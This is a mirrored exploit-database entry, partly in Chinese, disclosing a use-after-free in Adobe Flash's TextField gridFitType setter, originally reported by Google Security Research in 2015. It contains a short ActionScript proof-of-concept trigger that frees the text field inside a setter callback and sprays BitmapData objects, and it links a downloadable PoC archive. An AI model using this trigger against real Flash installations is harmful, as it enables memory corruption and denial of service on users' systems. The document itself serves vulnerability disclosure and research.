Adobe Flash – textfield.gridFitType Use-After-Free

• Exploit Database
• 16 阅读

• 作者： Google Security Research
  日期： 2015-08-19
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/37877/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=418&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
  
  There is a use-after-free in the TextField gridFitType setter. A PoC is below:
  
  var test = this.createTextField("test", 1, 0, 0, 100, 100);
  var n = {toString : func, valueOf : func};
  test.gridFitType = n;
  
  function func(){
  	
  	test.removeTextField();
  	for(var i = 0; i < 1000; i++){
  		var b = new flash.display.BitmapData(1000, 1000, true, 10);
  		}
  	trace("here");
  	return "natalie";
  	
  	}
  
  A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are also impacted by the same UaF condition, additional SWFs are attached.
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37877.zip